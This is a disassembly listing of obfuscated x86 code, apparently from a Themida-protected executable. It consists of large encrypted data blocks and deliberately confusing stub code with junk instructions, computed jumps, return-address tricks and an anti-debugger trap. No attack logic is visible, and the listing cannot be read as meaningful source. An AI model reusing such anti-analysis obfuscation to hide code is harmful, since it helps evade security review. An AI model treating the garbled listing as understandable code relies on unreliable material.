		dd 0F7FE8C6Fh, 800C459Dh, 2A2CDB2Dh, 0DBACBC43h, 0B1BF4498h
		dd 9DCB3478h, 0C7C8E0E4h, 0FB0F6804h, 81123410h, 4EEA6DB0h
		dd 3041DABAh, 676BA435h, 378B4E4Fh, 0A4E59ECAh,	635CF86Bh
		dd 0A63A2892h, 8FE5215h, 3DCE9A67h, 0F142827Ah,	0D6206453h
		dd 0FE081C9Dh, 3BCAAB74h, 48C3E0BAh, 1A4FAh, 969A300h
		dd 8CDE2438h, 1159A7BBh, 93D52C40h, 1A58AEC2h, 0A28F3449h
		dd 293D0E64h, 0B1C596DAh, 374B1C54h, 6DCFA0C8h,	0BDF88C28h
		dd 15733046h, 9E2DD9C5h, 106F88Fh, 0D9AA3BB6h, 5D2E3AC5h
		dd 0AD56AA0Fh, 90C90AC3h, 0B073748Ch, 3CC4A95Ch, 0A3E49D2Eh
		dd 0C37CF40Fh, 3AD64982h, 34102001h, 0AE3AF384h, 30411416h
		dd 8622A5EAh, 304113F2h, 0D11940D8h, 40E38EC9h,	0AD4DE17Dh
		dd 3FD03041h, 85E175AEh, 0A7D039DCh, 0B72C6Fh, 0D92E0000h
		dd 2B7F4226h, 98D992D6h, 2F83F65Fh, 9EDF98D0h, 8DE52165h
		dd 5F548D4h, 847B2A2Ch,	0FF13E4h, 8622A568h, 2A2CFDF2h
		dd 3AA3DC6Dh, 5A1D1E36h, 102E65BEh, 8657E834h, 0D6999AB2h
		dd 6B07FF53h, 0E9CCA632h, 0BE4F3A27h, 135FA7FBh, 9AD82E42h
		dd 0BAEDEAD1h, 0F644BFE0h, 0B9h, 23F47E8Eh, 0A677F30Fh
		dd 2BFC6E92h, 0AD7EEA17h, 34056D99h, 798DFA1Fh,	0EF1428F9h
		dd 699CB081h, 0DD223607h, 1358BA8Bh, 46BEE377h,	0B8086630h
		dd 0F78B27AAh, 722A2CF9h, 0BAB64DE1h, 0A9C93D81h, 2D3BC4D8h
		dd 7EEF166Ah, 0EE2FE882h, 2B63A45Dh, 0E479BDB6h, 94154E4Bh
		dd 4226D946h, 0AEBA4589h, 0BB469ADDh, 0CF3074ADh, 285C899h
		dd 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh, 0FE304863h, 31358935h
		dd 0BE8FD926h, 108E837Bh, 0E03AEAE1h, 0CC9C63A7h, 1F4BB509h
		dd 0C8397DE6h, 0A9BFE7A0h, 3659ACDh, 0E0E11E32h, 0E61C3A49h
		dd 0CC556D2h, 8BEh, 61A5F900h, 0AB5AD811h, 3F33D91Bh, 0ABBD4286h
		dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh,	0D1976AAEh
		dd 3E2CD418h, 0A9C14185h, 8951EAF0h, 4C181E1h, 83000000h
		dd 0C8704E9h, 3C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	1BCEh
		mov	[esp], edx
		push	ebp
		mov	ebp, 619B0AAh
		push	ebx
		mov	ebx, ebp
		mov	esi, ebx
		pop	ebx
		pop	ebp
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	edx
		sahf
		pop	ss
		cdq
		pop	edx
		mov	esi, 2012AF5Bh
		push	eax
		inc	ebx
		mov	eax, 619C693h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 1Dh
		dd 13284306h, 0D8153663h, 3039EA4Ah, 0DC0378F1h, 0E16C6215h
		dd 0A510BFACh, 0E937D299h, 0DF7BDFE1h, 4F019F8Bh, 0AD0ACB39h
		dd 0AA7A276Bh, 6C74DB8Ah, 0CF7EA29Bh, 0AE25C532h, 0AC0BD7E8h
		dd 0BA01F82Fh, 0FE6C8907h, 926D34D9h, 486E4FE1h, 80088AE7h
		dd 0CD49DF91h, 5138CA74h, 5C096FD1h, 62DAAD0h, 0C37B2CBh
		dd 0CC10A487h, 8D100E11h, 19C8838Dh, 8E906h, 798D0000h
		dd 699FE2CCh, 8D896847h, 6143229h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 49C35242h, 0B6B60AB8h, 72DEEB81h
		dd 89606BA4h, 1425158Dh, 615B5006h, 64D85C7h, 5D9C0614h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0D4F9F2C3h, 85C7CE3Fh, 6142671h, 0
		dd 10E8h, 22352400h, 9F2CA278h,	0F394CE33h, 0FBFF6158h
		dd 8F8CB838h, 0FF5F3674h, 1406A5B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C129A97Eh
		dd 8B66A47Bh, 0FF08BD8h, 68Eh, 25B58900h, 0FF06141Ch, 14236195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0FD852999h, 6A06141Ch, 6995FF00h
; ---------------------------------------------------------------------------


loc_5A5460:				; DATA XREF: Themida_:0054B0F4o
		adc	[esi+eax], edx
		mov	eax, eax
		jmp	short loc_5A5485
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		shr	byte ptr [ebp+ecx*4+6Ch], 1
		cmp	[ebp+61h], ah
		add	bh, [ecx+0A59FE23h]
		popf
		push	eax
		cmpsb
		cmp	ah, dl
		lea	edx, [edx-11B6BFCBh]
		fld	qword ptr [ebp-19h]
		db	36h
		cli


loc_5A5485:				; CODE XREF: Themida_:005A5465j
		call	sub_5A5496
; ---------------------------------------------------------------------------
		dw 4638h
		dd 1F6E797Fh, 648579F4h
		db 57h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5A5496	proc near		; CODE XREF: Themida_:loc_5A5485p
		mov	cx, 4E45h
		pop	ebx
		mov	ch, 0C2h
		add	ebx, 6D89h
		mov	esi, 0
		pusha
		add	di, 9433h
		sub	[ebp+614069Dh],	edx
		popa


loc_5A54B5:				; CODE XREF: sub_5A552C+24j
		push	dword ptr [esi+ebx]
		movzx	eax, ax
		pop	edx
		pusha
		jg	loc_5A54C9
		jns	$+6


loc_5A54C9:				; CODE XREF: sub_5A5496+27j
		jl	loc_5A54DD
		jmp	loc_5A54DD
; ---------------------------------------------------------------------------
		dd 9561CE16h, 0A0AF9972h
; ---------------------------------------------------------------------------
		pop	ecx


loc_5A54DD:				; CODE XREF: sub_5A5496:loc_5A54C9j
					; sub_5A5496+39j
		popa
		add	edx, 582A25F4h
		add	[ebp+6142B45h],	esi
		add	edx, 3E9535A0h
		mov	ecx, [ebp+6140FF5h]
		sub	edx, 43CAADB4h
		mov	cx, 6605h
		push	edx
		jbe	loc_5A550D
		mov	[ebp+6140B79h],	eax


loc_5A550D:				; CODE XREF: sub_5A5496+6Bj
		pop	dword ptr [ebx+esi]
		mov	[ebp+6141165h],	edx
		call	near ptr sub_5A552C
		pop	esi
		add	ah, [eax]
		mov	al, ds:0E8159E20h
		mov	eax, 9F975DA3h
		hlt
sub_5A5496	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		stc
		mov	dh, 0DBh

; =============== S U B	R O U T	I N E =======================================



sub_5A552C	proc far		; CODE XREF: sub_5A5496+80p

var_3FA35F1A	= dword	ptr -3FA35F1Ah

		cmc
		pop	edi
		sub	esi, 6B4A6AF5h
		xor	[ebp+6143435h],	esi
		add	esi, 6B4A6AF1h
		pusha
		and	al, 65h
		mov	ecx, 7F8A312Ah
		popa
		cmp	esi, 0FFFF9344h
		jnz	loc_5A54B5
		mov	edi, 2BF6A3D1h
		jmp	loc_5A5592
; ---------------------------------------------------------------------------
		dd 6CE8EDF0h, 0Bh dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5592:				; CODE XREF: sub_5A552C+2Fj
		jmp	loc_5A6186
; ---------------------------------------------------------------------------
		push	619CB45h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619CC48h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619CE01h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619CED9h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619D1C3h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619D331h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619D43Dh
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		xlat
		xor	eax, 0AA586C3Dh
		shr	bh, 0DBh
		and	eax, 0A1607445h
		mov	esi, 7D4E24E2h
		push	4230D6B3h
		jno	short locret_5A5655
		cmpsb
		retf	0E5F9h
; ---------------------------------------------------------------------------
		and	[eax+7Fh], dl
		imul	edx, [esp+edx*8+1Ch+var_3FA35F1A+1], 2Ch
		retn
; ---------------------------------------------------------------------------
		dd 51AF3046h, 4226D901h, 94D42B7Fh, 51AEF25Bh, 5A724617h
		dd 11FA9659h, 5434102Ah, 896B085Ch, 75AEAA84h, 4CD89122h
		dd 3041D5B4h, 1D442288h, 6FA7F47Ah, 516Dh, 0E0267A00h
		dd 5F98D992h, 119E1h, 9B71453Dh, 66FAAF04h
; ---------------------------------------------------------------------------
		cdq

locret_5A5655:				; CODE XREF: sub_5A552C+CAj
		iret
; ---------------------------------------------------------------------------
		push	ss
		aad	44h
		or	ebx, [eax+10ABC3FCh]
		xor	al, 0C6h
		xor	eax, 4DB5097Ch
		jmp	short loc_5A56B7
; ---------------------------------------------------------------------------
		dd 30418FBBh, 0E31CAD3Eh, 418FBF57h, 0BBB25130h, 0DD96274Bh
		dd 49026699h, 0DA80E64Ah, 1D442288h, 6FA7B27Ah,	0EB6Dh
		dd 26D96F00h, 0C1458942h, 4BB4F8B1h, 0DF20641Dh, 0F275B889h
		dd 2CF9C256h, 73AC3D2Ah, 2C05B2E7h, 2F39C62Ah
		db 5Eh,	4Ah, 0B5h
; ---------------------------------------------------------------------------


loc_5A56B7:				; CODE XREF: sub_5A552C+13Aj
		mov	bl, 0FAh
		xchg	ecx, [edi-7D5B3F0Fh]
		mov	al, 0FAh
		sar	dword ptr [ebp+45E1A4A5h], 74h
		and	eax, 68F93410h
		xchg	eax, edi
		retn
; ---------------------------------------------------------------------------
		db 0ABh
		dd 6E93E7AAh, 0B24EC1FAh, 3A27CD50h, 5AE41FB3h,	2FA52ABEh
		dd 8314A52Ah, 2ADB2FF2h, 179A0D46h, 0F22A3EC3h,	6E036E52h
		dd 2B6FA85Ch, 80D497DBh, 891DB985h, 42A2F0Dh, 4129E273h
		dd 44319062h, 0D40D9E26h, 0ABC73F53h, 0BA0AE3E2h, 5FAD28E0h
		dd 9C8h, 0B384EE1Eh, 3607639Fh,	0BB8CDE22h, 3D0E5AA7h
		dd 0C495DD29h, 0E91D0AAFh, 5FA4B889h, 0D92C4011h, 4DB2C697h
		dd 0A3E84A1Bh, 46C47307h, 4898F630h, 7D9E2DD9h,	603C182Eh
		dd 7E9263F4h, 4D22E481h, 9728B9B9h, 0BA8680D4h,	2D508A1Eh
		dd 0E374052Ah, 0FFB8B04Fh, 0B60485BEh, 3D000119h, 102068A1h
		dd 0A35CED34h, 41137F17h, 160E5330h, 3E32B663h,	0E97DB683h
		dd 3F41E48Dh, 0D2346FA7h, 36000000h, 0F78B27AAh, 0DD2A2CF9h
		dd 0EC25F86Eh, 27BB5E6Eh, 0CA0394DCh, 36EF7986h, 9B5E14F2h
		dd 0ECAFBB47h, 2D40BC50h, 75AE3F2Ah, 4D4B800Ch,	0E21D2A2Ch
		dd 5EA1B586h, 6D3D2263h, 5CED010Fh, 86879FA3h, 0D85627C3h
		dd 3ACB3410h, 2DD22669h, 0E9A2C838h, 1D5E17A8h,	0C7C8E0E4h
		dd 58F76804h, 0D66A3A28h, 0EDB0412Fh, 42056D99h, 1D5614EEh
		dd 0FC05599Ch, 3972B36Ch, 986111F5h, 0E0BA034Bh, 0C59BE964h
		dd 21000008h, 0A2B687EBh, 25390A60h, 0AABE8FDBh, 2C401157h
		dd 0B2C798DAh, 8CE6200Dh, 145CA7BBh, 9AD62F43h,	1E4AB5C9h
		dd 0AA6EB4Dh, 3046C576h, 0AA4B9BF9h, 478376B2h,	2F68CB2Eh
		dd 94571BEBh, 8304C540h, 0C0990E51h, 38B9F283h,	0BC8DDB24h
		dd 3F26D96Eh, 8F0A9C1h,	9A6D7C1Ch, 5EEF80A0h, 82BC479Bh
		dd 2D8F52E6h, 0AB3CCD2Ah, 1B55AEF2h, 57902162h,	1055AAEEh
		dd 18E97AF0h, 0EC8481D5h, 0B5B9F233h, 3DD99C9Dh, 3410B4A4h
		dd 9BDF9829h, 1F330464h, 43CF88E0h, 0CDB4B3D1h,	6DFA7CD0h
		dd 0F105D692h, 0C0A8570Eh, 0ED186C2Fh, 55E14A83h, 0BFBDA5BCh
		dd 4FE5295h, 24FC2E66h,	8DD927B9h, 0B1A6C054h, 35491A4Eh
		dd 59E59ECAh, 0BFBDE236h, 5F086E44h, 0E3F7C8A0h, 20934C1Ch
		dd 7A3335CCh, 488C0139h, 0D33A59DFh, 7D7E969Ah,	0CF9966BAh
		dd 0EDA6CA3Bh, 7D0073ACh, 798DD829h, 6EFF40F9h,	8ED0A935h
		dd 0C4559E7Fh, 912DB0F3h, 96A882FDh, 0B2B6EF80h, 53D6999Ah
		dd 0A88323B7h, 0DC15A696h, 0A180CD69h, 5CEDA08Bh, 947E17A3h
		dd 0EE12949Ch, 867FC37Ch, 1D731EAh, 3DA3F565h, 57ABFF39h
		dd 0FDA0DA13h, 0F0D402B2h, 487h, 2658C4F2h, 0AE4A0D0Eh
		dd 34101FEDh, 0B80CCF60h, 2A6B244Eh, 3C3469F1h,	6888D1CDh
		dd 0F83E29E9h, 0EFA67CB4h, 0D0D15D96h, 841370EEh, 0CA86B6Ch
		dd 0EEBFD6Fh, 4C50099Ah, 9CD63034h, 4E11A2E3h, 0E03427B2h
		dd 2E726A10h, 0A0885F03h, 65F64982h, 38CB1FA2h,	0E9A2CE35h
		dd 1D5E17A8h, 95FA0E4h,	8DDB2438h, 6382ADC4h, 4D9B163Ah
		dd 70Ch, 6F4032DAh, 0F2C3A75Bh,	774822DEh, 0F9CA9E63h
		dd 805121E5h, 2DD9B66Bh, 0A3607445h, 1DE8FCCDh,	916E8253h
		dd 5FA406D7h, 46C82FC3h, 0FC4CAA30h, 894226D9h,	0DEAFBB45h
		dd 0CBC0h, 56AAF000h, 5FF38FAFh, 0DA2A2CF9h, 0BEFFB849h
		dd 68628185h, 6344D59Bh, 3335CC20h, 52DBA1FAh, 0DC30086Eh
		dd 0E77B1727h, 622A2CF9h, 468740D1h, 0F953E783h, 45D62A2Ch
		dd 182FD20Ch, 42226993h, 24000000h, 4003FA19h, 2CFA0BA4h
		dd 44FD8E2Ah, 9869FF00h, 1CEA7B84h, 80CC556h, 902CEFF0h
		dd 341037F3h, 43D773F6h, 0C630412Bh, 18A9FC35h,	7FF75D5Fh
		dd 0A7434FF2h, 7426Fh, 0CF440000h, 0E0h, 119FFh, 0E08A13Dh
		dd 0FC8D3410h, 0AC181233h, 0A2F06BE6h, 634h, 47185AB2h
		dd 0CA9BCF33h, 4F204AB6h, 0D1A2C63Bh, 582949BDh, 55B19E43h
		dd 0CB384C1Dh, 45C0D4A5h, 0B9465A2Bh, 377CDEAFh, 46C8079Bh
		dd 0D4248230h, 1CAD56AAh, 0AD18807Dh, 3DF687A3h, 0CF6008F9h
		dd 7C739296h, 0F23B729Bh, 6609680Eh, 596993B7h,	4Dh, 0FA195Bh
		dd 18DB6C06h, 0ABBF4195h, 41D5B1F2h, 0BC2A2CFAh, 61F5F32Bh
		dd 0C2554AA0h, 0DCCFF889h, 68096D51h, 699389C5h, 20B8h
		dd 0FA19BA00h, 8BF92203h, 67B8BEA2h, 2A2C01D0h,	0B154A86Bh
		dd 0AA4C86BFh, 9B699320h, 0FFFFFEC6h, 0FA199Dh,	6CB069FFh
		dd 0DB1CD593h, 0AFD8B94Ah, 0F27458D5h, 0D69A3E36h, 644D123Bh
		dd 954EF12Bh, 78416993h, 43000002h, 8C452DD9h, 0C1429619h
		dd 0D9B5F6AFh, 2A2CFA45h, 0BAFE37C8h, 0DB5E2147h, 2CF9AB3Fh
		dd 649D2E2Ah, 224EB7FBh, 8EDA2569h, 0DF97ADD5h,	60F17788h
		dd 12452175h, 7C0FD7F4h, 4531082h, 788EA273h, 253D41FAh
		dd 74C56124h, 0F934106Dh, 33CF9E65h, 5C15A637h,	0E0581E34h
		dd 5D2DC15Dh, 47BF3041h, 8E31722Bh, 8680C4FDh, 5C8A1EBAh
		dd 74053041h, 8FE12E3h,	8D25B16Ah, 64304069h, 3838CD21h
		dd 2D0B6BFFh, 20197535h, 8281F60Ch, 0E0245DEEh,	677B4C26h
		dd 161AD39Fh, 0BD06FAFEh, 0A13B1698h, 0F98A1BE0h, 19399A36h
		dd 144C3A24h, 69CEC5C3h, 7410D32Bh, 2A2D8CE0h, 6839CA5Bh
		dd 382FD125h, 0A6E7A0CAh, 0C0D8DC15h, 8760FCBFh, 8A341097h
		dd 89972BC7h, 81123041h, 2AD92DF0h, 53E78346h, 0D6304189h
		dd 30A30C45h, 0A4325DCh, 4189EA7Eh, 1155B930h, 0AA6D6E86h
		dd 2494350Eh, 0D6A7383Ah, 0E30C9B93h, 911E9A87h, 346CFD75h
		dd 6305033Ch, 5CA0D9BFh, 0AE02C5A3h, 1B5C1553h,	0B20679E2h
		dd 21651E54h, 91D28BDFh, 0DA13D00h, 902A2D81h, 7D82C6FFh
		dd 2E461AEBh, 0EFE76A2Dh, 0D553FC00h, 8824E7C4h, 2A2DF2F4h
		dd 21ADE677h, 34112338h, 0E7732CBDh, 3041C24Fh,	8F4820E1h
		dd 0F9B2B64Bh, 8AD096FAh, 9494D238h, 73ACC640h,	0A7E19639h
		dd 49896Fh, 198B0000h, 0BA3D0001h, 2CF98A1Eh, 3B74052Ah
		dd 1FF32CC8h, 0E5763410h, 8DCB2A22h, 0DE97D12Eh, 0C693659Dh
		dd 5CED7B86h, 962EBA23h, 6A3041F7h, 0CEC66204h,	2EBD2F38h
		dd 7F88C83h, 2E67A861h,	0A7CF51F4h, 0B0446Fh, 0D9460000h
		dd 45894226h, 2750AC1h,	0B80540F8h, 0D52A6E27h,	0C8D8D093h
		dd 5919ED20h, 22275FA0h, 0EA538C42h, 8BDF2377h,	77F10E52h
		dd 0F20F63A6h, 7CB13D76h, 102A2C78h, 0D4A879EFh, 5CF8BBBCh
		dd 34142C65h, 79EF10A4h, 0AAA225E8h, 0ED9183C4h, 0CA0E4748h
		dd 5165363Ch, 0C9F4BDB5h, 0E2E6AE69h, 34A1967h,	709C0000h
		dd 0E51D3102h, 60A0B485h, 0DC25390Ah, 5FA7BB8Ch, 882D4213h
		dd 36076B9Bh, 0BE8FE122h, 44155BAAh, 0C899CF30h, 0F1852166h
		dd 6C3046CAh, 2DD9BE0Eh, 0CF4BC69Eh, 18A9378Fh,	99CC3347h
		dd 0AF720367h, 4CCC89B7h, 3C751043h, 26D96DBBh,	0BA458942h
		dd 0D98FDDAEh, 0FC7F4226h, 2CF9CC60h, 85BE4F2Ah, 4127D81Ch
		dd 0CB5FFB7Eh, 0B92A2CF9h, 1CFBAE58h, 0AA3BDEBAh, 41CF071h
		dd 0BBA44003h, 3E341117h, 60F81506h, 89782C81h,	4BD4EDFh
		dd 4153E078h, 284EB430h, 0A772A649h, 7FF536Fh, 3871B26Bh
		dd 2A0Bh, 1190D00h, 68A13D00h, 0CD341020h, 141AAE4Ah, 4953041h
		dd 2EE778CBh, 41140AA2h, 0FE78DE30h, 0A736D073h, 0E3C36Fh
		dd 0D9C50000h, 45894226h, 0B4F8B1C1h, 65A1D4Bh,	78B97200h
		dd 6D92D63Fh, 64E72AFBh, 2CFA34C8h, 0ED26B72Ah,	2C062C61h
		dd 0A6BF402Ah, 1758115Fh, 0C1EA6EDFh, 9B2C11F6h, 1F49B6CAh
		dd 6FF9085Ch, 0D33C75B6h, 4DB3B7CFh, 2DC98C1Dh,	34105ED4h
		dd 4F1BE539h, 0C91C5596h, 7B936738h, 0FF18AC48h
		dd 2933040h, 1912AE71h,	5C3A27B6h, 52B408CBh, 0CB3B4F20h
		dd 0C256F275h, 3D2A2FABh, 0AC3CD0ACh, 302A2A2Fh, 0DC4FFD37h
		dd 0AB470AADh, 2A2F0417h, 0DF700192h, 0BA1E1116h, 0F543BEE0h
		dd 1DCh, 9F70020Ah, 22F3778Bh, 0A778F20Eh, 29FA6E93h, 0B081F115h
		dd 0FD09669Bh, 7390A475h, 0ED182CFDh, 619EB283h, 8FD43607h
		dd 46CC5FF3h, 2C7CDA30h, 0C2B056AAh, 0B1C14589h, 3533CCE0h
		dd 33CD2164h, 43D7E37h,	0AD56AA86h, 9CD42FC3h, 6569A2E3h
		dd 0ED894C4Dh, 34101FB4h, 0E26528B9h, 4113B246h, 639C2D30h
		dd 13D66EFAh, 44AA3041h, 54B20622h, 8A98C777h, 50E1BE3Bh
		dd 0E31D5697h, 6FA80040h, 7FEDF5EDh, 9BB3A198h,	0C83562h
		dd 0D9370000h, 45894226h, 1580AC1h, 672048B9h, 3343EE26h
		dd 8EDA25B9h, 1FE63AFDh, 1E579851h, 23BF42B5h, 2A2D048Fh
		dd 0B440790Ah, 2A2C117Fh, 0A172F609h, 3DF6728Dh, 5D202139h
		dd 103968C1h, 8B5CED34h, 0DB9E9FB7h, 27F4653Fh,	985BEC3Ah
		dd 0E27EC244h, 2A2F844Eh, 0ECAF40D1h, 7DED1569h, 2F850DA1h
		dd 40D4702Ah, 0BB2A2F85h, 0BDF6872Ah, 94DE283Ch, 0BA9F4CCBh
		dd 3C8A05E0h, 0D0h, 0AB7CF616h,	2EFF6B97h, 0B384E61Ah
		dd 3506629Fh, 0BC8DE521h, 0F11572A7h, 679CB081h, 0E1243809h
		dd 55AABE8Fh, 9BE04213h, 46CD6BFFh, 4090EE30h, 0E09E2DD9h
		dd 0B541B5D5h, 45592ABBh, 68EBAEBAh, 2DE738CCh,	0E922B32Ah
		dd 26D91A68h, 0C572CA9Bh, 0E475D147h, 1E18E72Bh, 2DEEEE82h
		dd 4FE0712Ah, 0A0CA388Ch, 0EC6DA6E7h, 7FC0018h,	7915D869h
		dd 3417C460h, 289B54E5h, 863F31D4h, 37C80C45h, 0B34C6031h
		dd 659EF2B5h, 0DD69D20Bh, 0A5566E79h, 0E97EF84Ch, 0C50AB16h
		dd 12C19823h, 639CB081h, 0B56E0402h, 0E62AE374h, 928A4D1Bh
		dd 39DE0EAFh, 0E14A8337h, 94C3A3B9h, 182CFD6Bh,	7AC881E7h
		dd 0Ch,	2C4FBDB5h, 0A6E37606h, 1BABEF6Dh, 863F33D9h, 0F2ABBD42h
		dd 601957AEh, 0D089E71Ch, 3FF87A8Ch, 0AE670BFBh, 18D1976Ah
		dd 853E2CD4h, 0F0A9C141h, 6B4568EAh, 2C890000h,	0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 68241489h,	31EBh
		dd 56243489h, 0D63B5DBEh, 0F2A3BA59h, 0F2315FCFh, 8124348Bh
		dd 4C4h, 348B5400h, 4C48124h, 53000000h, 8F53D389h, 0FF5B0846h
		dd 835E2434h, 148B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 0FB7129E9h, 0DD53A9FFh, 1EB73298h
; ---------------------------------------------------------------------------
		sub	al, 7Bh


loc_5A6186:				; CODE XREF: sub_5A552C:loc_5A5592j
		mov	eax, 619D532h
		add	eax, ebp
		jmp	eax
sub_5A552C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 36h
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_5A6190+1 ; CODE XREF: Themida_:loc_5A6190j
; ---------------------------------------------------------------------------
		sbb	dword ptr [bp+si+5366h], 44873E22h
		int	3		; Trap to Debugger
		xchg	eax, ebx
		xchg	esp, [ebp-63h]
		cmp	byte ptr [esi],	2Eh
		lea	ecx, [ebp+619D6A8h]
		mov	[ebp+6143229h],	ecx
		push	0
		push	ebx
		call	sub_5A61BA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A61BA	proc near		; CODE XREF: Themida_:005A61B2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5A61BA	endp

; ---------------------------------------------------------------------------
		cmp	[edi-15h], dl
		mov	esi, 0DBA0217Ah
		scasb
		jmp	loc_5A61DE
; ---------------------------------------------------------------------------
		or	eax, 5AC2D53Eh
		leave


loc_5A61DE:				; CODE XREF: Themida_:005A61D3j
		mov	dword ptr [ebp+614064Dh], 63BCh
		movsx	eax, dx
		mov	dword ptr [ebp+6142671h], 0
		push	0
		push	edi
		call	sub_5A6200
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A6200	proc near		; CODE XREF: Themida_:005A61F8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5A6200	endp

; ---------------------------------------------------------------------------
		dd 0F45C7F43h, 9E8h, 0E52DAA00h, 0E915F935h, 7E830AFh
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5A6227	proc near		; DATA XREF: Themida_:0054BDFCo
		pusha
		cmp	ebp, ds:8A3DC3ACh
		mov	ebx, [ebp+61408FDh]
		pop	ebx
		pop	esi
		push	dword ptr [ebp+614220Dh]
		push	0
		push	eax
		call	sub_5A6247
		and	[eax-3Dh], bl
sub_5A6227	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A6247	proc near		; CODE XREF: sub_5A6227+18p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5A6247	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0E8C848EAh, 13h, 216A6840h, 0E45C0F30h, 9D29BDBEh, 6BDD0CCDh
		dd 5A0EAB3Eh, 236195FFh, 9D890614h, 614321Dh, 95FF006Ah
		dd 6141169h, 7EEBC08Bh,	0B654AC30h, 0B06DFC88h,	270F81CDh
		dd 417F9EAAh, 8392BBA0h, 0D639AEB2h, 989057D7h,	7217916Fh
		dd 4B45593h, 899326F9h,	0E28E2120h, 2E3D3F99h, 0E8292E83h
		dd 0FF98F5Ch, 173B728Fh, 5C15AA6Ch, 32D4162Ah, 0C9604BBh
		dd 0FE9AB1FCh, 26F83472h, 39B8B6Ch, 5A44D694h, 393F35FBh
		dd 8BB6A915h, 0E0895315h, 72A7D01Bh, 2662D283h,	0A9302B36h
		dd 0DF4D599Bh, 5B8046C3h, 21E8B419h, 0C08BC646h, 77C28166h
		dd 0B1BD833Dh, 61430h, 0BD830975h, 6141AE1h, 50197400h
		dd 0B8C08B53h, 3FCh, 1A498589h,	9D8D0614h, 616B73Ah, 585BD3FFh
		dd 1AE1BD83h, 74000614h, 0B8535017h, 3FCh, 1A498589h, 9D8D0614h
		dd 616B429h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0E4C35343h, 3729F714h, 56A276BBh, 6AC08B69h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 105EC357h, 0CDBD83D6h, 1061412h, 0BD840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 10E929C3h, 0DE000000h, 7D2A0D75h,	7094B5C4h
		dd 5CEB2E3h, 663BC382h,	0B789EA81h, 1B0DBD83h, 0F000614h
		dd 7A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0A3554051h, 0CE9h, 2DF4B300h, 0D511BFBFh
		dd 6834E28Bh, 9BD83EEh,	61423h,	98840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0DE2F0EC3h, 41919141h, 7E8h,	9B5A6400h, 794527D0h, 5A81F680h
		dd 58A0Fh, 81660000h, 0E91CE5F2h, 498h,	0DE960h, 156C0000h
		dd 315B180Eh, 0F4A49B4Eh, 0FF058ACh, 61D2BFh, 66000000h
		dd 6A042ABAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 9DC4C355h, 0E9D18B66h,	12h, 9DE983DFh
		dd 5794420Dh, 3C022227h, 85D46F95h, 7E6EC451h, 0CDE866C0h
		dd 23AFBF19h, 0CB7CBF70h, 94FDE053h, 0CF3BC3FAh, 0CFABFBF2h
		dd 0CBC7BF69h, 1720E834h, 0EAC18CBAh, 47F7708Dh, 0CB7CBF70h
		dd 46E83415h, 0DC53ADF6h, 9A8FD575h, 0CBC7BC9Bh, 8BA9F73h
		dd 0EFBD362Ah, 0EFBC3E77h, 0CB7CA277h, 86FFE73h, 0F6D564CFh
		dd 14CAFA78h, 343B6AB8h, 99E3D5A3h, 0CBF1BC9Bh,	8A29F73h
		dd 0EF283629h, 0EF7A3E77h, 0CB1FA577h, 8DDFD73h, 7634F8F9h
		dd 0ADBA127Fh, 29716EF8h, 0CD2B3E2Bh, 222DDA40h, 0CB3EBA78h
